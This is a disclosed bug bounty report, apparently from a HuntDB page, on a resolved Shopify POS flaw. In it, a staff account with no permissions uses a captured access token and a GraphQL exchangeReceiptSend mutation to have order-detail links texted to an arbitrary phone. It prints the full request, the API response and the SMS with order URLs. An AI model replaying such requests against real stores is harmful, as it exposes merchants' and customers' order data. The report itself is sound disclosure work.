Loading HuntDB...

STAFF "No-Permissions" on the Store can retrieve the details Order via exchangeReceiptSend

Medium
S
Shopify
Submitted None
Reported by langduvnsec

Vulnerability Details

Technical details and impact analysis

Information Disclosure
I discovered a bug in an android mobile app that allowed STAFF No Permissions using Receipt Send to Mobile of any Order information in the Store. #Steps to reproduce: **1)** STAFF account is created and assigned "No Permissions" on a Shop by Owner/Admin **2)** STAFF then login to shop. Notice that STAFF is not having any access to menus. **3)** Log in to Shopify POS on Android. Access will not allow the application, but it will call /admin/api/unstable/shop.json before logging out. Now there will be an **X-Shopify-Access-Token** parameter. I use Telerik Fiddler to capture packets on the Shopify POS App. **4)** Now STAFF triggers the below GraphQL request via a burp proxy. ``` POST https://langduvnsec.myshopify.com/admin/api/unversioned/graphql HTTP/1.1 X-Shopify-Access-Token: xxxxxxxxxxxxxxxxxxxxxxxx user-agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G955N Build/NRD90M.G955NKSU1AQDC) Shopify POS 3.50.0/22606 Accept: application/json Content-Type: application/json; charset=utf-8 Content-Length: 456 Host: langduvnsec.myshopify.com Connection: Keep-Alive Accept-Encoding: gzip { "query": "fragment ExchangeErrorFragment on ExchangeError { __typename code field message } mutation ExchangeReceiptSend($exchangeId: ID!, $input: ExchangeReceiptSendRecipientInput!) { __typename exchangeReceiptSend(exchangeId: $exchangeId, recipient: $input) { __typename exchange { __typename id } userErrors { __typename ... ExchangeErrorFragment } } }", "variables": {"exchangeId":"gid://shopify/Exchange/605028374","input":{"phone":"+84332947000"}}} ``` **5)** Replace your Exchange_ID and Phone number to get the details order access link. Please use your country's Phone Area Code to receive messages. #Response: ███████ ``` { "data": { "__typename": "Mutation", "exchangeReceiptSend": { "__typename": "ExchangeReceiptSendPayload", "exchange": { "__typename": "Exchange", "id": "gid://shopify/Exchange/605028374" }, "userErrors": [] } }, "extensions": { "cost": { "requestedQueryCost": 10, "actualQueryCost": 10, "throttleStatus": { "maximumAvailable": 300000.0, "currentlyAvailable": 299990, "restoreRate": 15000.0 } } } } ``` #SMS Response: ████ and ██████████ ``` pVCSdKiitos, ett teit vaihdoit ostoksen kaupasta langduvnsec! Alkuperinen tilaus: langduvnsec.myshopify.com/26192052246/orders/8356d9c67229a59ae4634b94d514d548/authenticate?key=bbf35fac2c88bc3bd6b53cc14e2110f3 Uusi tilaus: langduvnsec.myshopify.com/26192052246/orders/02418bf7e3604d4c5a09aba909193dc8/authenticate?key=38a448bc14b62c4cff031eb97e6ac186asfo ``` ## Impact STAFF "No-Permissions" on the Store can retrieve the details Order via exchangeReceiptSend

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$1000.00

Submitted

Weakness

Information Disclosure